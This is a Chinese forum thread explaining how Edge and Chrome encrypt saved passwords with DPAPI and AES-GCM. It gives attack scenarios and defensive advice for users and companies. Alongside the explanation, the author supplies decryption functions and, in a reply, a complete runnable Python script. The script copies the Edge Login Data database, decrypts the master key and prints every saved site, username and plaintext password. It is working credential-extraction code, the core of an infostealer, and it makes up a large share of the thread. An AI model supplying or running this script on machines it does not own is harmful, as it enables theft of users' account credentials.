Edge浏览器密码安全分析

查看 75|回复 9
作者:liuik   
Edge浏览器密码存储机制与安全风险分析
引言
现代浏览器为了提升用户体验,通常提供密码保存功能,允许用户在访问网站时自动填充凭据。然而,这种便利背后隐藏着潜在的安全风险。本文将深入分析主流浏览器(以Edge/Chrome为例)的密码存储机制,揭示可能被利用的安全漏洞,并提供相应的防护建议。
浏览器密码存储原理剖析
1. 数据存储位置
Edge和Chrome浏览器将保存的密码存储在以下关键文件中:
  • Login Data:SQLite数据库文件,包含加密后的密码及相关元数据(URL、用户名等)
  • Local State:JSON格式文件,存储浏览器的全局状态信息,包含加密后的主密钥

    这些文件默认位于用户配置目录下:
    C:\Users\[用户名]\AppData\Local\Microsoft\Edge\User Data\Default\


    QQ20251103-135544.png (59.64 KB, 下载次数: 0)
    下载附件
    login date
    2025-11-3 14:00 上传



    QQ20251103-135646.png (61.48 KB, 下载次数: 0)
    下载附件
    local state
    2025-11-3 14:00 上传

    ![]()
    2. 加密机制详解
    2.1 密码加密流程
    现代浏览器采用多层加密机制保护用户密码:
    [ol]

  • 密码加密
  • 较新版本(Chrome 80+,Edge新版)使用AES-GCM算法加密每个密码
  • 加密过程使用随机生成的nonce(每次加密不同)
  • 生成的密文与认证标签一起存储在Login Data数据库中

  • 主密钥管理
  • AES加密所需的主密钥本身也被加密保护
  • Windows环境下,主密钥通过Windows DPAPI (Data Protection Application Programming Interface)加密
  • 加密后的主密钥存储在Local State文件中

  • DPAPI加密原理
  • DPAPI加密与用户账户和系统环境绑定
  • 加密时使用用户登录凭据派生的主密钥
  • 默认情况下,只有相同用户在相同系统上才能解密

    [/ol]
    2.2 解密过程
    要获取明文密码,攻击者通常需要以下步骤:
    [ol]

  • 从Local State文件中提取并解密主密钥:
  • 读取Local State文件中的加密主密钥(base64编码)
  • 使用DPAPI解密获取原始主密钥

  • 使用主密钥解密密码:
  • 从Login Data数据库中提取加密的密码数据
  • 解析出密文、nonce和认证标签
  • 使用AES-GCM算法和主密钥解密获取明文密码

    [/ol]
    安全风险分析
    1. 数据泄露条件
    攻击者要成功获取浏览器保存的明文密码,需要同时满足以下条件:
    [ol]

  • 文件获取:能够访问用户的Login Data和Local State文件
  • 这通常发生在系统被入侵、恶意软件感染或物理访问设备的情况下
  • 也可能通过权限提升漏洞在同一系统上获取其他用户的文件

  • 解密能力:能够解密DPAPI保护的主密钥
  • 原用户账户下执行代码:可以直接调用DPAPI解密
  • 获取用户Windows凭据:可以在其他系统上模拟用户身份解密
  • 系统备份或内存转储:可能包含DPAPI主密钥材料

    [/ol]
    2. 常见攻击场景
    2.1 恶意软件攻击
    现代恶意软件越来越多地包含凭据窃取功能:
  • 定向扫描浏览器配置目录,提取Login Data和Local State文件
  • 在当前用户权限下执行解密操作
  • 将获取的密码发送到攻击者控制的服务器

    2.2 物理访问攻击
    如果攻击者能够物理访问设备:
  • 可以使用管理员权限启动系统或创建新账户
  • 在某些情况下,可以访问加密用户的文件
  • 使用专业工具尝试恢复或破解DPAPI保护的数据

    2.3 钓鱼和社会工程学
    攻击者可能通过钓鱼网站诱导用户:
  • 直接输入密码到伪造的登录页面
  • 下载并运行看似正常的软件,实际上包含密码窃取功能
  • 授予恶意扩展访问浏览器数据的权限

    密码提取技术实现
    1. 技术细节
    以下是从Edge/Chrome浏览器提取密码的核心步骤:
    [ol]

  • 主密钥提取
    def get_master_key(local_state_path):
       # 读取Local State文件
       with open(local_state_path, 'r', encoding='utf-8') as f:
           local_state = json.load(f)
       # 提取并解码加密的主密钥
       encrypted_key = base64.b64decode(local_state['os_crypt']['encrypted_key'])
       # 移除DPAPI前缀
       encrypted_key = encrypted_key[5:]
       # 使用DPAPI解密获取主密钥
       master_key = win32crypt.CryptUnprotectData(
           encrypted_key, None, None, None, 0)[1]
       return master_key


    QQ20251103-140801.png (9.58 KB, 下载次数: 0)
    下载附件
    key获取
    2025-11-3 14:08 上传

  • 密码解密
    def decrypt_password(encrypted_password, master_key):
       try:
           # 检查是否为新版本的AES加密
           if encrypted_password.startswith(b'v10'):
               # 提取nonce、密文和认证标签
               nonce = encrypted_password[3:15]
               ciphertext = encrypted_password[15:-16]
               tag = encrypted_password[-16:]
               # 使用AES-GCM解密
               cipher = AES.new(master_key, AES.MODE_GCM, nonce=nonce)
               decrypted = cipher.decrypt_and_verify(ciphertext, tag)
               return decrypted.decode('utf-8')
           else:
               # 旧版本使用DPAPI直接解密
               return win32crypt.CryptUnprotectData(
                   encrypted_password, None, None, None, 0)[1].decode()
       except Exception as e:
           print(f"解密失败: {e}")
           return "解密失败"


    QQ20251103-141344.png (7.9 KB, 下载次数: 0)
    下载附件
    pwd解密
    2025-11-3 14:14 上传

    2. 执行条件
    [/ol]
  • 需要访问浏览器配置文件夹的权限
  • 在Windows环境下,需要具有调用win32crypt API的能力
  • 需要安装相应的Python库(如pycryptodome)进行AES解密

    安全防护建议
    1. 个人用户防护措施
    1.1 浏览器安全设置
  • 禁用自动密码保存:考虑不使用浏览器的密码保存功能,使用专用密码管理器
  • 启用双重验证:在所有重要网站上启用2FA,即使密码泄露也能提供额外保护
  • 定期清理缓存密码:定期审查和删除不需要的保存密码
  • 使用隐私浏览模式:在公共设备上使用隐私模式,避免留下凭据

    1.2 系统安全加固
  • 启用全盘加密:使用BitLocker或VeraCrypt等工具加密整个硬盘
  • 强化账户密码:使用强密码和PIN码保护Windows账户
  • 定期更新系统和浏览器:及时安装安全补丁
  • 安装可靠的防病毒软件:并保持其更新

    1.3 密码管理最佳实践
  • 使用专用密码管理器:如LastPass、1Password或Bitwarden等专业工具
  • 使用唯一密码:为每个网站使用不同的复杂密码
  • 定期更改密码:特别是高价值账户(银行、邮箱等)
  • 备份密码库:安全地备份密码管理器的数据

    2. 企业安全策略
    2.1 终端保护
  • 部署EDR解决方案:端点检测与响应工具可检测凭据窃取行为
  • 实施应用程序白名单:限制未授权程序执行
  • 禁用不必要的管理权限:采用最小权限原则
  • 监控数据外传:检测敏感信息的异常传输

    2.2 员工培训
  • 安全意识培训:教育员工识别钓鱼攻击和社会工程学手段
  • 制定安全策略:明确规定密码管理和设备使用政策
  • 定期安全演练:模拟攻击场景,提高应急响应能力

    结论
    浏览器的密码保存功能虽然便利,但存在不可忽视的安全风险。理解其存储机制和潜在漏洞,有助于我们采取更有效的保护措施。最佳实践是使用专业密码管理器代替浏览器内置的密码保存功能,并结合强密码策略和多因素认证,构建更安全的个人和企业数字安全防线。
    记住:便利与安全往往需要权衡,在数字世界中,多一分谨慎,少一分风险
    注:本文仅用于安全研究和教育目的,请勿用于非法用途。保护用户数据安全是每个负责任的技术使用者的义务。

    密码, 密钥

  • liuik
    OP
      

    完整代码
    [Python] 纯文本查看 复制代码import os
    import sqlite3
    import shutil
    import win32crypt
    from datetime import datetime, timedelta
    import json
    import base64
    from Crypto.Cipher import AES
    def get_master_key():
        # 从本地状态文件获取主密钥
        local_state_path = os.path.join(
            os.environ['USERPROFILE'],
            r'AppData\Local\Microsoft\Edge\User Data\Local State'
        )
       
        try:
            with open(local_state_path, 'r', encoding='utf-8') as f:
                local_state = json.load(f)
            
            # 提取并解码主密钥
            encrypted_key = base64.b64decode(local_state['os_crypt']['encrypted_key'])
            # 移除DPAPI前缀
            encrypted_key = encrypted_key[5:]
            # 使用CryptUnprotectData解密主密钥
            master_key = win32crypt.CryptUnprotectData(encrypted_key, None, None, None, 0)[1]
            return master_key
        except Exception as e:
            print(f"获取主密钥失败: {str(e)}")
            return None
    def decrypt_password(encrypted_password, master_key):
        # 检查是否使用新的加密方式
        if encrypted_password.startswith(b'v10') or encrypted_password.startswith(b'v11'):
            try:
                # 提取IV和密文
                iv = encrypted_password[3:15]
                ciphertext = encrypted_password[15:]
                
                # 创建AES解密器
                cipher = AES.new(master_key, AES.MODE_GCM, iv)
                # 解密
                decrypted = cipher.decrypt(ciphertext)
                # 移除填充并解码
                password = decrypted[:-16].decode('utf-8', errors='replace')
                print(f"decrypted_password:{password}")
                return password
            except Exception as e:
                print(f"AES解密失败: {str(e)}")
                raise
        else:
            # 尝试使用旧的解密方式
            try:
                return win32crypt.CryptUnprotectData(
                    encrypted_password, None, None, None, 0
                )[1].decode('utf-8')
            except Exception as e:
                print(f"旧方式解密失败: {str(e)}")
                raise
    def decrypt_edge_passwords():
        # Edge数据目录
        edge_data_dir = os.path.join(
            os.environ['USERPROFILE'],
            r'AppData\Local\Microsoft\Edge\User Data\Default'
        )
        login_data_file = os.path.join(edge_data_dir, 'Login Data')
       
        # 创建临时副本(因为Edge可能正在使用原文件)
        temp_file = os.path.join(edge_data_dir, 'LoginDataTemp')
        shutil.copy2(login_data_file, temp_file)
       
        results = []
       
        # 获取主密钥
        master_key = get_master_key()
       
        try:
            conn = sqlite3.connect(temp_file)
            cursor = conn.cursor()
            
            # 查询所有登录信息
            cursor.execute("""
                SELECT
                    origin_url,
                    username_value,
                    password_value,
                    date_created,
                    date_last_used
                FROM logins
                WHERE username_value != ''
                AND password_value IS NOT NULL
                ORDER BY date_last_used DESC
            """)
            
            for row in cursor.fetchall():
                url, username, encrypted_password, date_created, date_last_used = row
                # print(f"处理: {url} - {username}")
                try:
                    # 解密密码
                    if master_key:
                        password = decrypt_password(encrypted_password, master_key)
                    else:
                        # 尝试使用旧方式作为备选
                        password = win32crypt.CryptUnprotectData(
                            encrypted_password, None, None, None, 0
                        )[1].decode('utf-8')
                   
                    # 转换时间戳
                    if date_created:
                        created_time = datetime(1601, 1, 1) + timedelta(microseconds=date_created)
                    else:
                        created_time = "未知"
                   
                    if date_last_used:
                        last_used_time = datetime(1601, 1, 1) + timedelta(microseconds=date_last_used)
                    else:
                        last_used_time = "未知"
                   
                    results.append({
                        'url': url,
                        'username': username,
                        'password': password,
                        'created_time': str(created_time),
                        'last_used_time': str(last_used_time)
                    })
                   
                except Exception as e:
                    print(f"解密失败 [{url}]: {str(e)}")
                    continue
                   
        except Exception as e:
            print(f"数据库错误: {e}")
        finally:
            conn.close()
            # 删除临时文件
            if os.path.exists(temp_file):
                os.remove(temp_file)
       
        return results
    # 使用示例
    if __name__ == "__main__":
        passwords = decrypt_edge_passwords()
       
        print(f"找到 {len(passwords)} 个保存的密码:")
        print("=" * 80)
       
        for i, item in enumerate(passwords, 1):
            print(f"{i}. 网站: {item['url']}")
            print(f"   用户名: {item['username']}")
            print(f"   密码: {item['password']}")
            print(f"   创建时间: {item['created_time']}")
            print(f"   最后使用: {item['last_used_time']}")
            print("-" * 40)
    liuik
    OP
      

    请问这是自己写的还是ai写的?
    怒火燃烧   


    Hmily 发表于 2025-11-3 15:13
    请问这是自己写的还是ai写的?

    各占一点
    liuik
    OP
      

    现在Edge浏览器如何?我用的360急速免安装的。求指教
    怒火燃烧   


    怒火燃烧 发表于 2025-11-3 15:33
    现在Edge浏览器如何?我用的360急速免安装的。求指教

    挺好用的呀,下载这些浏览器尽量从官网下吧,你用360,导航页我估计都被改成360了
    nitian0963   


    liuik 发表于 2025-11-3 15:38
    挺好用的呀,下载这些浏览器尽量从官网下吧,你用360,导航页我估计都被改成360了

    又不是小白,多少懂点。现在用的还行!
    heayyy   


    怒火燃烧 发表于 2025-11-3 15:33
    现在Edge浏览器如何?我用的360急速免安装的。求指教

    我觉得还行,最起码搜索不会有广告。
    zcc0206   

    学习一下
    nitian0963   

    技术无过人需遵法
    您需要登录后才可以回帖 登录 | 立即注册

    返回顶部